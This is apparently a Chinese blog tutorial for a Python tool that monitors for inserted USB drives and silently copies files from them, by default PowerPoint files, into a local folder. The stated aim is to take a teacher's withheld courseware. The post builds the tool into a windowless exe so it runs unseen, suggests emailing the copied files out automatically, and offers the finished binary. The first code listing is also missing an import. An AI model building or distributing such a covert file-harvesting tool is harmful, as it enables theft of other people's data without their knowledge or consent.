python小工具__U盘文件自动复制器

声明:该教程仅用于学习,不可用于它用

大学的老师,为了让大家每节课都能够积极去上课。

第一节课特意声明,课件是不会发放给大家的,这让很多打算最后两星期通过看课件学习的人懵逼了,为此这个工具就出现了

直接开始教程

首先需要安装两个库 psutil, shutil

使用pip安装一下就可以了

确定需求:复制插入的U盘里的文件

技术点 

1、扫描磁盘,检查是否有可移动盘

2、遍历检查U盘里的文件

3、找到特定类型文件

4、复制文件到指定盘的文件夹

5、打包成exe

就这五步,就可以实现了这个小功能

下面给出代码,只可以复制ppt文件版
 

# _*_ coding: utf-8 _*_
# 微信公众号:python学习专栏

from time import sleep
from shutil import copy
from psutil import disk_partitions

def copy_file(root,file_type=['.ppt', '.pptx'],file_dir='D:/USB'):
    try:
    
        for i in os.listdir(root):   #os.listdir(root) 读取root目录下的文件和目录
            ext=os.path.splitext(i)   #获取文件后缀
            if os.path.isfile(root+'/'+i):  #判断是否为文件
                
                if ext[1] in file_type:  #判断是否是需要获取的文件类型
                    if not os.path.exists(file_dir):  #查看文件夹是否存在,不存在则创建
                        os.mkdir(file_dir)
                    copy(root+'/'+i, file_dir)  	#复制文件
            else:
                copy_file(root +'/' +i,file_type)  #递归检查文件夹
    except Exception as e:
        pass
    


    
if __name__ == "__main__":
    
    while True:

        #  检测所有的驱动器
        for item in disk_partitions():
            if 'removable' in item.opts: #判断是否有U盘插入
                root = item.device.strip('\\')
                
                copy_file(root)

		#  设置休眠时间
        sleep(20)

可复杂自己指定的文件类型

# -*- coding: utf-8 -*-  
# 微信公众号 python学习专栏
import  os
from time import sleep
from shutil import copy
from psutil import disk_partitions



def copy_file(root,file_type='.ppt',file_dir='D:/USB'):
    try:
    
        for i in os.listdir(root):   #os.listdir(root) 读取root目录下的文件和目录
            ext=os.path.splitext(i)   #获取文件后缀
            if os.path.isfile(root+'/'+i):  #判断是否为文件
                
                if ext[1] ==  file_type:  #判断是否是需要获取的文件类型
                    if not os.path.exists(file_dir):  #查看文件夹是否存在,不存在则创建
                        os.mkdir(file_dir)
                    copy(root+'/'+i, file_dir)
            else:
                copy_file(root +'/' +i,file_type)
    except Exception as e:
        print(e)
    


    
if __name__ == "__main__":
    
    print('是否需要自定义复制文件类型 yes/no  默认复制ppt类型')
    
    define_type = input()
    if define_type in ['yes','y','YES','Y','Yes']:
    
        print('''
        输入需要复制的文件类型
        如复制ppt则输入 .ppt
        ''')

        file_type = input('输入需要复制的文件类型')
    print('是否需要自定义文件复制后的存放路径 yes/no 默认 D:/USB ')
    define_dir = input()
    if define_dir in ['yes','y','YES','Y','Yes']:
    
        print('''
        输入存放文件路径
        如 : D:/USB/USB
        ''')
        file_dir = input('输入需要复制的文件类型')
    if define_type in ['yes','y','YES','Y','Yes']:
        
        if define_dir in ['yes','y','YES','Y','Yes']:
            while True:
                #  设置休眠时间
                sleep(1)
                #  检测所有的驱动器
                for item in disk_partitions():
                    if 'removable' in item.opts: #判断是否有U盘插入

                        root = item.device.strip('\\')

                        copy_file(root,file_type,file_dir)
        else:

            while True:
                #  设置休眠时间
                sleep(1)
                #  检测所有的驱动器
                for item in disk_partitions():
                    if 'removable' in item.opts: #判断是否有U盘插入

                        root = item.device.strip('\\')

                        copy_file(root,file_type)
    else:

        while True:

            #  检测所有的驱动器
            for item in disk_partitions():
                if 'removable' in item.opts: #判断是否有U盘插入

                    root = item.device.strip('\\')

                    copy_file(root)


            #  设置休眠时间
            sleep(20)

打包

安装pyinstaller

在cmd中打包,

执行 

pyinstaller -F -i  filename.ico  -w  ​程序文件名.py

-i filename.ico 这是指定图标

-w  运行时不显示窗口​

 
-h,--help 查看该模块的帮助信息
-F,-onefile 产生单个的可执行文件
-D,--onedir 产生一个目录(包含多个文件)作为可执行程序
-a,--ascii 不包含 Unicode 字符集支持
-d,--debug 产生 debug 版本的可执行文件
-w,--windowed,--noconsolc 指定程序运行时不显示命令行窗口(仅对 Windows 有效)
-c,--nowindowed,--console 指定使用命令行窗口运行程序(仅对 Windows 有效)
-o DIR,--out=DIR 指定 spec 文件的生成目录。如果没有指定,则默认使用当前目录来生成 spec 文件
-p DIR,--path=DIR 设置 Python 导入模块的路径(和设置 PYTHONPATH 环境变量的作用相似)。也可使用路径分隔符(Windows 使用分号,Linux 使用冒号)来分隔多个路径
-n NAME,--name=NAME 指定项目(产生的 spec)名字。如果省略该选项,那么第一个脚本的主文件名将作为 spec 的名字

当然我们还可以加上一个 邮件发送,获取的文件自动发送到指定邮箱

可以自己尝试一下

这个小工具已经打包成exe

可在公众号后台回复 :  666

可直接获取

python学习专栏

python大神都在关注

发布了37 篇原创文章 · 获赞 16 · 访问量 2万+

猜你喜欢

转载自blog.csdn.net/weixin_42236288/article/details/103464831